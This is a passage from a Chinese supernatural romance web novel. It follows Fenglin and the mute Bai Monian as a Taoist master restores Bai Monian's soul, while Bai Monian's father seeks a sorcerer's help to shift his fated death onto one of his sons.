封凛心想躲得过初一躲不过十五,有什么可跑的,老头子穷酸刻薄又爱记仇,心眼比针鼻子大不了多少,与其被事后报复,还不如今天就让对方出了气。 白默年站在旁边看得一愣一愣,轻轻拽了拽封凛的衣袖,用手语问道:【他是谁?】 “我师父。” 封凛心情挺好,总算把这个死老头从国外催回来了,不枉他天天让师弟师妹们夺命连环call,等会儿就把老头子忽悠回道观,让他帮忙给白默年算算命。 想到这儿,封凛难得良心发现,懒洋洋直起身形走到了师徒二人中间,他单手插兜,另外一只手拦住老头举起的拐杖,轻啧了一声: “老头儿,家丑不可外扬听说过没有?要打回家再打,在大马路上打多丢人,万一等会儿把警察给招来了。” 清逸捂着屁股含泪点头:“就是就是,我要告你当街殴打!人身伤害!” 淳安老头闻言刚下去几分的火瞬间蹿得三丈高:“臭小子你说什么?!” 封凛头也不回地踹了清逸一脚,然后把老头的拐杖往下一压:“行了,走吧,回去请你喝茶,上好的铁观音。” 一句话终结了闹剧。 直到这时,淳安老头的目光才终于越过封凛看见站在后面的白默年,他那双苍老的眼睛骤然一眯,浑浊的瞳孔里闪过一丝精光,惊奇咦了一声: “你的魂魄——” 封凛知道老头一定是发现了什么,不动声色把白默年挡在身后:“师父,先上车,有什么事回山上再说吧。” 白默年被面前这个邋里遗遢的老头子一盯,莫名有一种浑身血液都被冻住的感觉,仿佛对方那双眼睛可以刺透他伪装的表象,窥见内心深处的无边阴霾。 他垂在身侧的手控制不住攥紧,浅色的青筋浮现,就像是遇到了天敌一般升起警惕防备,直到封凛颀长宽厚的背影挡在身前,力道才骤然一松。 “哼。” 淳安老道从鼻腔里挤出一声冷哼,目光在两人之间打了个转,哪里还不明白发生了什么事,他弯腰捡起散落的包袱,顺手抄起一本卷边的《环球旅游》,“啪”地敲在封凛头上: “兔崽子,我看你是被鬼迷了魂!” 封凛连眼皮都没抬一下,依旧懒洋洋地站在原地,他小时候连棍子都挨过,这么点力道简直不痛不痒的:“是是是,就属你最刚正不阿了,赶紧上车吧,再不走一会儿交警都来了,这里可没人帮你交罚款。”钱是他们师门所有人的致命弱点,封凛话音刚落,清逸和灵薇就火速上了车,就连老头也骂骂咧咧跟着钻了进去。 封凛见状淡淡挑眉,一副早就料到的模样,他伸手搂住白默年的肩膀带着对方一起坐进车内,语气缓和了不少:“走吧,我们先送师父回道观,晚点再回新家。” 白默年一如往昔沉默,只是趁着别人不注意的时候伸手摸了摸封凛额头被敲红的地方,又帮他轻轻揉了揉,抿唇的样子看出了几分心疼。 封凛忽然有些不自在,他从小在棍棒下长大,师父又从来不是什么温柔的性格,冷不J被人这样小心对待,心里像是被羽毛尖儿挠了一下,又痒又陌生。 封凛偏头避开触碰,把白默年的手拉下来,指尖顿了顿,却没松开,用只有他们两个能听见的声音道:“.…没事,不疼。” 白默年心想怎么会不疼呢,但他只是坐在靠窗的位置垂眸点了点头,什么都没说,也没再有多余的举动。 清逸的小面包车晃晃悠悠在公路上行驶,开了足足五个小时才到郊外的太华山,山上有一座道观,就是他们师父淳安道长的产业,不过因为太过高险,每年都要累晕过去几名香客,十几年前勉强还能算是个名胜古迹,现在人烟稀少,连个牌匾都不剩了。封凛最佩服他师父的体力,背着一大袋东西丁零当啷往山上走,连口气都不带歇的,清逸和灵薇就不行了,他们两个从小在山上长大,这条路走了十几年,每次爬还是累得哼哧带喘。 封凛体力不错,所以始终保持着一个不紧不慢的速度跟在白默年身边,毕竟对方细胳膊细腿怎么看都不像是会爬山的样子,万一累晕过去他也好扶一把。 但没想到白默年的体力远比封凛想象中要强,连走了两个小时的山路脸不红气不喘,连汗都没出,反观清逸和灵薇,爬到山顶上的时候已经快要升天见祖师爷去了。 淳安道长没有搭理那几个不成器的弟子,拄着拐杖走进三清殿给祖师爷烧了一大把香,这才把身上那些零碎的行囊放在旁边的八仙柜上,回头瞪了封凛一眼:“愣着干什么,还不进来?!” 封凛正准备上前,但没想到淳安道长又从鼻子里重重哼了一声:“没说你,长得白白净净的那个小孩,你进来!” 语罢径直掀起帘子进了旁边的配殿。 封凛闻言一愣,反应过来正准备追进屋,袖口却忽然一紧,被白默年给拽住了。 【没关系。】 白默年对着封凛轻轻摇头,然后松开他的袖子比划着手语,神情不见丝毫忐忑害怕,反而出乎意料的平静: 【我进去看看,你师父可能找我有事,别担心。】 封凛怎么可能不担心,白默年身上的一魂一魄还没归位,可千万别被他师父当鬼给收了:“你不知道,我师父脾气臭的很,你一个人进去不安全,我陪你进去。” 老头不知道是不是听见他们的谈话,骂骂咧咧的声音隔着帘子传了出来:“我今天只见一个人,你们两个要是一起进来就一起滚蛋!” 封凛:“……行吧。封凛只好放白默年进了旁边的配殿,他原本还想躲在门口偷听,但没想到老头儿直接起来把门给“咣”一声关上了,顺便还给封凛安排了一个差事:“带着清逸灵薇他们滚去扫玉皇殿,出来的时候我要检查,敢偷懒就全部给我去扎马步!”“啧。”封凛随手捡起廊下的扫帚转了个圈,心想老头子的火气还是这么大,大不了他不偷听了,等白默年出来问也是一样的,这么想着,他抬脚把瘫在石阶上的清逸踹了踹:“没听见师父说?再装死就滚到后山去扎马步!”清逸哀嚎出声,觉得自己完全是受了池鱼之灾:“大师兄,都怪你,我今天就不该过来帮你搬家的。”封凛用手指比了个弹脑瓜蹦的动作,面无表情哈了口气:“有道理,我也在想该不该告诉师父你用打印机画符的事儿。”清逸呲溜一声从地上蹿起来,速度比兔子还快:“大师兄,我这就去拎水!” 淳安道长说是让他们打扫玉皇殿,其实最重要的还是为了打扫旁边的那间小屋子,据灵薇所说里面藏着的全是传世之宝,师父的顶级珍藏,古玩字画古董花瓶应有尽有,简直比皇帝的国库还要豪华。“真的假的?” 封凛对此持怀疑态度,这间屋子他小时候也没少进来打扫,但他愣是就没看出来架子上那个灰扑扑的花瓶到底哪里价值连城了。 灵薇平常嘴甜,老头子从来不对她发脾气,有些秘密也属她知道的最多“当然是真的了大师兄,你别看这个花瓶脏兮兮的,外面那层铜锈可值钱了,这些都是皇帝赏的呢。” 封凛一边用鸡毛掸子清扫着旮旯角,一边凉凉夸赞道:“真没看出来,师父还有这本事。” 灵薇用力点点头:“我之前看师父开过一个箱子,里面都是皇帝赐给他们家祖上的东西,什么国师袍呀,什么牌匾呀,什么金冠呀,看起来起码也得是上千年的古物了。” 封凛没吭声,因为他对老头子有没有“祖上”这玩意儿一直持怀疑态度,对方在他心里的形象就是一个老妖怪,一个活了很久很久很久的老妖怪。 “哦,那还挺久的。”封凛慢半拍答道。 他扫完多宝架,走到了对面墙上挂着的一幅古画前,然后重新在抽屉里换了根鹅毛擦灰,不这样不行,因为这幅画的年代实在太过久远,虽然用了秘法保存,但纸张还是脆弱得经不起任何触碰,只能用鹅毛一点点拂掉上面的灰尘。伴随着封凛小心翼翼的动作,画卷上的尘埃在空气中悄然飞扬,逐渐显露出上面百官夜宴的图景来。 画卷中央,一袭月白织金龙袍的年轻帝王执盏而坐,虽经年岁侵蚀,对方眉眼已有些褪色,却愈发衬得通身气度清贵绝尘。他唇角含着的笑意仿佛能穿透纸背,恍若谪仙垂眸,带着化尽人间霜雪的温润。而这位年轻帝王身旁坐着的既不是貌美的宫妃,也不是端庄的皇后,而是一名身穿玄衣的男子,半张面容隐在灯影里,轮廓如刀削般凌厉,他懒懒把玩着杯盏,带着几分武将特有的气度,与帝王交叠的衣袖却显出几分缠绵。两列筵席间,群臣百态俱生动:有宽袍大袖的文士仰天大笑,酒渍沾染前襟,有甲胄未卸的将军拍案高歌,气吞万里;更有一名手执玉柄拂尘的年轻道士斜倚凭几,醉眼朦胧中仍透着几分仙家气象。外间大雪纷飞,殿内却燃着暖炉,一派觥筹交错。 画卷右侧还题着一行字,只是墨迹斑驳,字句已经残损不全,封凛眯着眼,勉强辨认出几段,却也是断断续续: “元夕三年冬……西陵……帝楚陵会群臣于飞镜台……时雪落琼宇,君臣同欢……熹侍坐于侧……大将军岳撼山执剑为乐……百官尽醉……乃命画师图此盛景,以记太平……灵薇不知何时凑过来,眨巴了一下眼睛:“大师兄,你看什么呢?” 封凛漫不经心地“哦”了一声,目光仍落在画上:“我在看这幅画卖了能值多少钱。” 灵薇平常对古玩挺有研究,闻言凑近看了看,然后又摇摇头:“这幅画虽然年代挺久的,但是朝代不可考究,谁知道能卖多少钱,你这话千万别让师父知道了,他不打死你才怪。” 语罢又推了他一下:“这幅画又不是第一天挂在这儿,你还没看够啊,走啦。” 封凛确实不是第一次看这幅画,不过他还是第一次发现宫殿柱子上刻的祥瑞居然是一条通体漆黑,像蛇又像龙的东西,真是该死的、诡异的眼熟。 “…… 封凛沉默盯着看了片刻,最后摇摇头转身离开。 算了,可能是他想多了。 殊不知就在封凛走后不久,一道庞大的黑影就悄无声息出现在了寂静的房间里。 那是一条通体漆黑的巨蟒,鳞片泛着幽冷的光泽,它猩红的蛇瞳深深凝视着画卷上那名年轻的帝王,仿佛透过那些褪色的墨痕窥见了某些故人的身影。 良久,它才缓缓收回视线,蛇信轻吐,游动尾巴顺着封凛离开的方向跟了上去。 都是过往了……. 183、借命 封凛和灵薇刚刚打扫完玉皇殿,就听旁边的配殿传来一阵拖拖拉拉的脚步声。 只见师父淳安踩着一双旧千层底布鞋从里面踱步而出,手里还拿着一杆墨玉烟斗,他随手在桌角磕了磕,烟灰如雪般簌簌落下,白默年则垂眸跟在他身后,神色平静如常,仿佛刚才什么都没发生过。封凛见状把笤帚丢到旁边,不着痕迹看了白默年一眼:“师父,玉皇殿打扫完了。” 他什么都没问,因为知道师父肯定什么都不会说,还不如等回家了再问白默年。 淳安老头吸了口烟,懒洋洋“嗯”了一声:“时间不早了,等会儿让清逸开车送你们下山,过几天和其他的师弟师妹通知一声,让他们回来开个会。” 封凛神情抽搐,心想又不是上市公司,还开什么会:“行,那我先下山了。” 清逸和灵薇也赶紧跟着行礼:“师父,我们也下山了。” 他们转身正准备离开,淳安老头却忽然用力咳嗽一声,清了清嗓子,墨玉烟斗磕在供桌上发出“邦邦邦”的动静,仿佛在暗示着什么。 清逸和灵薇对视一眼都在对方眼中看到了绝望,两人认命地折返回来,掏钱的动作活像在割肉,几张皱巴巴的纸币被郑重其事地摆在桌上“师父 您老人家买点补品“ 淳安老头耷拉着眼皮,慢条斯理地转着烟斗:“清逸啊,为师今早给你算了一卦,你今天该有笔横财才对,不会就二百块钱吧?” 清逸脸上的肌肉抽了抽,心里已经把老头子骂了个狗血淋头:你都算出来我有横财,怎么没算出来自己今天会被车撞?! 他骂归骂,动作却极其老实,磨磨蹭蹭地从屁股口袋里掏出一叠钞票——这还是白默年今早塞给他的,现在还没捂热乎就要交出去,堪称心如刀绞,淳安伸手去接,用力抽了两下居然没抽动。 “松手。”老头子眯起眼睛,烟斗在清逸手背上不轻不重地敲了一下,“怎么,连师父的话都不听了?” 清逸疼得齿此牙咧嘴,却还做着最后的挣扎:“师父,这是我这个月的饭钱……. “修道之人,讲究清心寡欲。”淳安老头一把将钱抽走,顺手在旧夹克上蹭了蹭,“饿几顿正好修身养性。” 他说完看向封凛所在的方向,又用烟斗“邦邦邦”敲了敲桌角,意思不言而喻。 封凛无语抬头看天,就知道自己躲不过去,从上衣口袋掏出来几张红票子拍在桌上:“老头儿,我就这么多了,你省着点花。” 淳安老头把钱摞到一起,眯着眼睛数了一遍,对这个数目还算满意,这才敷衍摆了摆手道:“行了行了,你们都下山吧,留在这里过夜可没饭吃。” 几个徒弟哪里敢多待,连忙脚底抹油溜了,逃的比兔子还快,就连穿着裙子的灵薇也健步如飞,生怕被师父留下来当苦力。 谁都没注意到,封凛身后那团加烟似露的黑影在离开时突然顿住,那颗巨大的蛇头缓缓回首,猩红的眼眸透过昏暗的三清殿,直直望向那个者烟斗的遗遢老头,莫名感到了几分熟悉。 恍惚间,时光好像倒转回了那个风雪肆虐的隆冬,在险峻高耸的阴山之巅,招魂幡猎猎作响,一名少年天师身穿玄色道袍,手持桃木剑立于祭坛之上,将故人的骨灰撒向天地。 那时的淳安还未蓄须,眉目间尽是少年锐气,为了替他的君主求得一线生机,不惜以凡躯触动天威,硬生生在漫天云劫中劈开一道裂隙,引来了天道的驻足…… 黑影身形一滞,终于认出了这个胡子拉碴的老道士究竟是谁,暗红的眼底闪过一丝兴趣,低声呢喃:“有意思,这么多年了,没想到居然还能遇见故人….” 他并不好奇对方为什么会活这么久。 大道五十,天衍四九,人遁其一。 天道不全,故万物可生。 纵使那年北境的风雪埋葬了无数过往,总有一些人会逃出天命的束缚,在人间这条漫漫长路上留下属于自己的痕迹,就像当年那个执剑问天的少年,就像此刻这个佯装市侩的老道,就像……他自己。 黑蛇最后深深望了一眼那个佝偻的背影,转身游入夜色,他唯一没有想到的就是当年那个意气风发的少年天师居然会变成现在这副模样。 啧,岁月真是一把杀猪刀。 封凛并不知道那条黑蛇依旧如影随形地跟着自己,清逸开车把他们送回新家住宅后,他连东西 都没来得及收拾,直接把白默年拉到沙发上坐下,捧着他的脸认认真真检查半天,最后皱眉问道:“怎么样?我师父今天把你叫进去都说些什么了?他没给你喝那些奇奇怪怪的符水吧?” 白默年很少看见封凛这么严肃的样子,愣了一瞬才缓缓摇头,他从裤子口袋里拿出一个东西递给封凛,赫然是那枚金属铜人像,只不过从中间裂开了一条缝隙,硬生生断成了两截。 封凛见状脸色一变:“怎么裂了?!” 话音刚落,他瞬间意识到了什么,猛地抬头问道:“师父该不会帮你把那缺失的一魂一魄融进身体里了吧?!” 白默年没有回答,而是用指尖轻轻摩挲着铜像上的裂纹,这个动作便是最好的答案。他抿唇望着封凛,墨色的发丝垂落在眼前,整个人像一尊漂亮的瓷器,仿佛又回到了从前的乖巧。因为不习惯说话,还是下意识用手语交流。 【师父说,我的一魂一魄以前被别人取出来封印在了里面。】【现在融进身体,要不了多久听力就可以恢复正常了。】他比划完这一长段话,顿了顿才继续, 【我这段时间的样子是不是有些可怕?】 【是不是……吓到你了?】 【对不起……】 【我以后会改的,不会再这样了。】 白默年比划完这些内容,双手就慢慢落了下去,指尖藏在袖子里悄悄蜷缩起来,像是做错事的孩童,目光茫然无措。封凛见状不由得愣了一瞬,白默年这么紧张他还以为发生了什么了不得的大事呢,原来是怕吓到自己,反应过来不由得哑然失笑:“就为这个?我还以为天要塌了。” 封凛抵着白默年的额头,望进那双墨色晕染的眼睛,指节蹭过对方冰凉的脸颊,像白瓷一样冰凉细腻,低沉的嗓音带着几分劝哄意味:“你什么样子我都喜欢,能听见喜欢,听不见也喜欢,吓人喜欢,不吓人也喜欢…… 他说着顿了顿才道:“但我更希望你健健康康的。” 白默年黑色的眼睛望着封凛,无声动了动唇,似乎想说些什么,可一个字都没挤出来,最后伸手圈住男人的脖颈,用力抱得很紧很紧,低不可闻的“嗯”了一声。 他也希望封凛能健健康康的…… 白默年以前最大的执念就是和对方一起死,他不能容忍封凛把目光分给除自己之外的人,更不能容忍别人觊觎封凛的目光,可对方每次坚定不移的选择都让他晦暗的念头无处发挥。白默年其实还是很贪心,贪心想占据封凛的一切,可面前这个人已经把一切都给了自己,于是他竟也学会了克制,心甘情愿地将心底那头嗜血的凶兽锁进最深的牢笼,再亲手套上枷锁。 “封凛,”白默年忽然轻轻偏头,温热的唇瓣贴着封凛的耳垂,用气音低声询问道,“这是我们的新家,你喜欢吗?” 他温热的呼吸喷洒在皮肤上,带来丝丝潮湿的痒意,简简单单的一句话却触到了封凛心底,让这个漂泊半生,野草般随意生长的男子愣了一瞬。 是啊,他也有家了…… 封凛早就来这里提前看过一次,二百多平的房子,装修得温暖又精致,样样都比他之前住的那个破公寓强,白默年甚至专门留了一间房给他画符和拜祖师爷,但这些都是其次,最重要的是那层代表着“家”的意义。“喜欢。” 封凛永远都是那么直来直去,他把白默年捞到怀里,任由对方无尾熊一样圈在自己身上,声音倦懒闲适,暗藏笑意, “只要是我们两个在的地方,我都喜欢。” 外面不知何时下起了淅淅沥沥的冷雨,打落树梢本就枯黄的叶子,这大概是今年最后一场秋雨了,秋雨过后,冬季很快就要来临。 月光透过纱帘,照亮了沙发上纠缠的影子,就像命运的共线,产生交集之后就再难分开。 白默年躺在沙发上,被撞得神智恍惚,或许是失声了太多年,他依旧不习惯开口讲话,唇边溢出的永远都是一些破碎含糊的闷哼,像刚刚学会说话的雏鸟。 双手被男人紧紧扣住,没办法打手语,除了竖起中指什么都做不了,于是只好放弃。 白默年仰头看向天花板,只觉得吊灯慢慢变成了一个黑点,黑点又无限放大,变成了三清殿侧面小房间里的一柱香,烟雾袅袅,淳安老头就那么盘膝坐在对面,有一下没一下轻磕着手里的烟斗。 “娃娃,你知不知道自己被人借了命?” 没有任何铺垫,面前这名佝偻老者仿佛无所不知无所不晓,开口就戳破了白默年身上最大的秘密。 白默年面无表情坐在对面的蒲团上,苍白修长的指尖静静覆着膝盖,面容被阴影吞噬大半,此刻他再不是在封凛面前那副依赖而又单纯的模样,反而清醒冷静得可怕,喉结滚动,哑声吐出一句话: “知道。” 老头轻掀眼皮:“那你知不知道是谁借了你的命?” 白默年的神情依旧平静无波:“知道。” “既然知道就不要做傻事了。” 老头手里一直捏着三枚铜钱来回把玩,最后“当啷”一声扔在地上,他看也不看那卦象,手腕一翻又重新捡起来,苍老的声音意味深长:“子杀父,有违人伦,就算现在没事,将来也一定会降下天谴,凡人就不要试图去违反天道的规则了。”白默年闻言倏地抬眼看向淳安,不知是不是错觉,他的眼底有些泛红,涌动着某种暗沉阴鸷的情绪,一字一句低声问道: “我杀他有天谴,那他的天谴又在哪里?” 老头依旧不慌不忙,那双浑浊的眼睛曾历经朝代兴亡,也曾看透世事:“他的报应在后面,所以我劝你不要沾手,如果实在等不及,就让封凛帮你好了。”封凛…… 白默年听见这个名字,神情一怔,眼底猩红终于消退:“你就不怕他沾上因果?” 老头随手磕了磕烟斗,一副无赖相:“没关系,他活该。” 白默年:“…….白默年放在膝上的手不动声色收紧,随即又缓缓松开:“我不想把他牵扯进来,别告诉他。”老头不置可否,眯着眼往嘴里那根烟斗塞了点烟丝,然后用火点燃,吧嗒半天才吐出一口烟雾:“老头子我才不喜欢管闲事呢,不过我还是得提醒一句,你的一魂一魄虽然归了位,但被人借的命还没要回来,这件事就不算完。”白默年盯着他,听不出情绪的问道:“怎么才能要回来?”老头子摇摇头,磕了磕烟斗里的浮灰,说了一句他听不懂的话:“等他的天谴来了,被借走的命自然也就重新回到你身上了…….” 天谴? 白默年想了很久也没想明白这两个字代表着什么意思,他最后累得睁不开眼,被封凛抱去浴室洗澡,昏昏沉沉睡了过去。梦中的景象光怪陆离,不断闪现他小时候躺在一口漆黑棺材里的情形,那只纹着恶鬼怒目的手用不知名的尖锐金属刺进他的耳朵和咽喉,寸推进… “不——!!”白默年猛地睁眼从床上坐起,冷汗浸透了后背,他大口喘着气,手指无意识攥紧床单,指节因用力过度而泛白,窗外落着析析历沥的雨,留下一片绵延无尽的潮湿。“哥……?”他喃喃自语,声音嘶哑得不像自己的。梦中那口棺材漆黑、阴冷,散发着腐朽的气息,与童年记忆中的一模一样,只是这一次,躺在里面的竟然不是年幼的他,而是哥哥白听川。封凛不知何时苏醒,从床上懒懒赖坐起了身,他修长的的手臂从白默年肩头环过来,声音带着刚睡醒的磁性沙哑:“怎么醒这么早?”白默年没想到把封凛给吵醒了,他轻轻摇头,用手语答道:【没什么,做了个梦。】他语罢习惯性伸手去模床头的手机,屏幕亮起,显示有十几条未读消息,全部来自母亲,最早的一条是早上六点发的,上面的消息刺得白默年瞳孔一缩【默年,你哥失踪了,看见消息速回信!】 184、改命--194、他已经爱上我了 184、改命 半个月前,一家名叫“Si Rompeng”的玄学店静悄悄开在了市中心的街尾。 店铺坐落在一家24小时便利店和快要倒闭的书店中间,招牌和门面都是纯黑色,透明的橱窗里摆放着几尊造型诡异的东南亚神像,里面飘出的熏香甜腻到令人头晕,没有开业庆典,没有宣传海报,甚至连网上都搜不到记录。 偶尔有好奇的人透过门缝张望,只能看见一个瘦高的身影坐在里面,老板永远穿着一身白色唐装,鼻梁上戴一副金边眼镜,模样斯斯文文的,喜欢边泡茶边看书。 “哟曜,八成是家书店。”便利店的年轻店员对隔壁书店老板说出自己的猜测,开口调侃道,“这年头谁还看书啊,难怪开在你旁边,一起等倒闭吧。” “说你没文化就是没文化,不知道人家做什么的你就动动手去查。”书店老板是个瘦瘦戴眼镜的老头,他用杂志敲了一下店员的头,指着店面招牌上的字道,“看见了吗?招牌上写着Si~Rompeng~翻译过来就是丝罗瓶,东南亚的一种降头术!” 店员懵了:“降头术?什么东西?” 老头摆了摆手,恨铁不成钢道:“就是玄学店的意思!去去去,看见你这种不读书的蠢货就来气!” 店员小伙揉着头“切”了一声:“不就是装神弄鬼嘛,半个月了都没生意,我看下个月就得…… 他的话音戛然而止。 只见远处忽然驶来一辆纯黑色的帕迪凯恩,车身低调奢华,从树荫下滑过的时候就像一头优雅的猎豹,兼具速度与美感,哪怕不懂行的人也能猜到这辆车肯定价格不菲,然而这辆豪车却偏偏停在了那家“Si Rompeng”门口。“什么啊,还真有生意…… 店员嘀嘀咕咕转身进店,忍不住回头看了一眼,只见车上下来一名西装革履的中年男子,面容有些眼熟,但一时又有些记不起来在哪里见过。 “叮铃——!” 每当有客人推门进屋的时候,门口挂着的铜铃就会发出清脆的响声。 陈骨生原本在隔间的佛龛前闭目祷告,寡白的烟雾如蛇般萦绕在周身,听见门口铃声响起,他丝毫不见讶异,镜片后的双眼缓缓睁开,闪过一丝幽深的情绪。 他不急不缓把手中的三炷线香插进香炉,香灰簌簌落下,露出供奉在神龛深处的八面金佛——那尊佛像通体銮金,却生着十六只手臂,每只手掌心都刻着一只血红的眼睛,在昏暗的灯光下,佛像的八张面孔表情各异,或嗔或笑,或喜或怒,邪气诡异到了极点。 “陈先生,我找了你这么多年,今天终于见面了。” 那名从车上下来的中年男子赫然是白振业,他望着站在隔间里的陈骨生,神情又惊又喜,惊的是对方数十年如一日几乎没有变化的容貌,喜的是自己终于找到了救星, “自从十三年前那件事后,你就杳无音信,要不是我到处派人查找,都不知道你已经从南洋回来了。” 斯文男子静静站在隔间的台阶上方,任由白振业激动诉说当年的事,片刻后才轻轻笑开,他修长的指尖扶了扶鼻梁上的眼镜,袖口滑落,露出半截骨感的手腕,却是出乎意料道: “白先生,我想您认错人了。” 白振业脸上的沟壑的皱纹在灯光下显得更深了,他闻言瞪大眼睛,嘴唇微微颤抖:“你……你不是陈骨生?” 台阶上的男子唇角勾起一抹若有若无的笑意,声音轻缓:“我是陈骨生,但不是你认识的那个陈骨生,你认识的那……是我哥哥。” “他十年前修炼降头术的时候被反噬了,所以很遗憾,现在他的名字和身份都归了我,我们是不是长得很像?” 白振业瞪大眼睛望着 张和记忆中一模一样的脸,喉头发紧:“这……这怎么可能?” “白先生,世上没有什么是不可能的。” 陈骨生不紧不慢走下台阶,皮鞋底落地发出清脆的响声,他的身形很修长,几乎比白振业高了大半个头,投下一片颀长的阴影,身上的熏香甜腻到让人感觉头晕目眩。 白振业踉跄两步,几乎有些站不住脚了,他一副大受打击的模样,脸色苍白的哆嗦道:“可是他还欠了我一件事没有做,当年他帮我改命,说十四年后还需要再改第二次,否则就会被反噬,现在已经快到期限了,你居然告诉我他死了?!” 陈骨生给自己倒了一杯茶,淡淡阖目,递到鼻尖轻嗅,右手纹着一个与气质极为不符的恶鬼怒目纹身:“白先生,改命是欺瞒天道的做法,瞒的了一时,瞒不了 一世,十四年刚好是一个周期轮回,所以他才会让你再改第二次。” 白振业敏锐嗅到了某种气息,焦急上前两步,如见救星:“陈先生,难道你也会改命?!” 陈骨生抿了一口茶水,琥珀色的茶水在内室红色的灯光下泛着诡异的色泽:“其实我很早就看过你的命格了,日主戊土坐戌,本为墓库,又逢七杀攻身,按命理推算,十三年前流年癸巳,巳火冲亥,水火相战,就该有一场生死大劫了……换句话说,十三年前你就该穷困潦倒,死于非命。” 时隔多年,白振业再次听见自己的批命,依旧冷汗直冒,垂在身侧的手控制不住攥紧成拳。 陈骨生放下茶杯,在桌上发出一声轻响,声音似笑非笑:“有趣的是,你儿子却偏偏是个大富大贵的命格,所以我哥哥十三年前把他的富贵命借到了你的身上,暂时替你化解穷厄,但还剩下一个死劫没有应验,只有把这个死劫置换过去,你的命 格才算彻底改过来。” 白振业倏地抬头,眼底流露出一丝狠劲:“到底怎么才能改过来?!大师,不管多少钱我都出得起!!” 陈骨生不语,而是走到佛龛前点亮了一盏油灯,清俊斯文的脸庞在烛火中明火不定,唇角微扬的模样隐隐于那座金佛中的“笑面”重叠,他望着灯花意味深长开口: “白先生,你要想清楚,命格置换之后,你的死劫就落在儿子身上了。” “儿子没了可以再生!更何况我还有个大儿子!我如果死了那么大的家业怎么办?!你知不知道我养活了多少人!每年捐出去多少钱?!” 白振业的耐心已经在进门时那段对话中彻底消耗殆尽,咬牙切齿说话的模样一度有些狰狞:“你说吧,要多少钱才能帮我改命?!” 他们这行的规矩是只要出得起价钱,什么都能接。 “白先生,这不是钱的问题。” 陈骨生摘下脖颈间朱砂色的的佛牌,在修长的双手间翻转缠绕,然后闭目合十举过头顶,又缓慢落到鼻尖处,淡然的样子却看不出半分虔诚, “你如果想改命,就必须拿到借命者的一魂一魄,三魂中的幽精,六魄中的尸狗。” 白振业紧张到呼吸急促,失声质问道:“这些你哥哥当年不是已经取走了吗?!” 陈骨生漫不经心睁开双眼:“所以白先生是打算下去找他要吗?” “你!” 白振业身居高位已久,从来没有人敢这么冒犯他,闻言脸上隐现薄怒, “你故意耍我是不是?” “白先生,火气何必这么大,送上门的生意我没道理不做,但还是那句话,必须要借命者的一魂一魄。” 白振业已经在心里把死去的那个陈骨生骂了个狗血淋头,什么时候死不好,偏偏死那么早,还把他改命用的东西给弄丢了:“那我现在找不到怎么办?!鬼知道你哥哥放哪里了!” 陈骨生垂眸把玩着缠绕在指尖的佛牌,珠链细如米粒,几乎看不出圆润的轮廓,乍看就像一条猩红的蛇缠绕在指尖:“命格如棋局,一动则全局变,就算 能找到,当年适合的命,现在来看已经未必适合你了。” 白振业惊疑不定问道:“什么意思?!我儿子的命已经不能借到我身上了吗?!” 陈骨生淡淡开口:“这不重要,重要的是你想借谁的命,就必须拿到他的一魂一魄,白先生可以回去好好想想,到底要不要做这笔生意。” …… 门口的铜铃声再次响起,送走了失魂落魄的白振业,屋子里的熏香因为有生人进入,味道寡 淡了几分,陈骨生不得不又点燃了一支蜡烛。那根蜡烛透着浅浅的粉色,火焰跃动,冒出一缕甜腻的香气,就像是花朵腐烂后的浓烈气味。“到底放哪儿了呢?” 陈骨生望着烛火好奇自言自语。啊,他想起来了,几个月前帮万祥地产对付赵家的时候,他在对方的祖坟风水动了手脚,刚好缺一个恶魂占住坟茔,他就顺手从抽屉里把那尊“毗舍遮”放了进去,至于有没有被人捡走,那就不关他的事了。白振业丝毫不知道自己无形之中被人坑了一把,他脸色苍白地坐上车,脑海里始终回荡着陈骨生说的那些话,后背冷汗直冒,已经浸透了西装。怎么办?怎么办?小儿子的一魂一魄已经丢了,现在让他上哪里去找回来?眼见着离自己的死劫越来越近,难道他真的要坐以待毙?!冬季临近,道路两旁的梧桐树已经开始干枯变色,簌簌往下飘落,就像一个到了暮年的老者,说不出的冷清萧瑟,哪怕街道上人流如织,也依旧没能带来几分喧闹的热乎气。豪车平稳驶过繁华的CBD中心,白振业望着外面那栋新起的高楼,那是他上周才投资的地皮,名利、地位、财富……他正是人生得意的时候,这些令人艳羡的一切,难道就要随着那个该死的死劫灰飞烟灭?这是白振业无论如何也不能接受的。 “吱呀——!” 就在白振业陷入惶恐不安的时候,车子忽然一个急刹,他整个人都因为作用力狠狠前倾,情急之下失去了平常的风度,暴怒抬头斥道:“瞎了眼睛吗?!怎么开的车?!”司机磕磕绊绊解释道:“董……董事长……对不起,我刚刚看见白总的车在前面……. 白振业闻言循声看去,果不其然发现前停着一辆眼熟的黑车,车门打开,从上面下来一名年轻男子,赫然是他的大儿子白听川。 那一瞬间,一个可怕的幽暗念头忽然从他心底缓缓浮现—— 既然小儿子不行,那么大儿子行不行呢? 185、同行争斗 白听川失踪了。 这是五天前才发生的事,连带着一起失联的还有白振业。白母担心消息传出去会影响公司股价,一开始只敢私下派人寻找,甚至不敢报警,直到她不小心从丈夫房间的抽屉里发现几支麻醉剂,这才陡然意识到什么。 她呼吸骤停,耳边嗡嗡作响,仿佛又回到十三年前那个雨夜,小儿子默年被那群人被强行带走的时候,只觉得整个人天旋地转,连站都站不稳了。 偌大的别墅已经遣散了所有佣人,白母跌跌撞撞跑下楼,刚好撞见收到消息回家的白默年,她先是一愣,随即冲上前抱着小儿子哭得泣不成声,情急之下甚至忘记了白默年根本“听不见”这个事实,慌不择言道:“默年,怎么办,怎么办……你哥一定是被你爸爸给带走了 “他这个畜生,当初害了你还不够!现在还想害你哥哥!默年,听妈的话,这段时间哪儿也别去、哪儿也别去知道吗?”白母哭得已经看不清东西了,自然也就没注意到被她紧紧抱着的儿子从头到尾都没有任何反应,神色平静得可怕,甚至连替她拭泪的举动都没有,过了许久才终于抬手,缓缓比划了一个手语:【报警吧。】 白母陡然一惊:“你说什么?!” 白默年垂眸望着她,漆黑的睫毛静静垂下,瞳仁比寒潭更幽深,他修长的指尖再次重复比划,动作轻飘飘的,却像一块巨石砸塌了白母心底的最后一道防线 【我们,报警。】 “不可能!!” 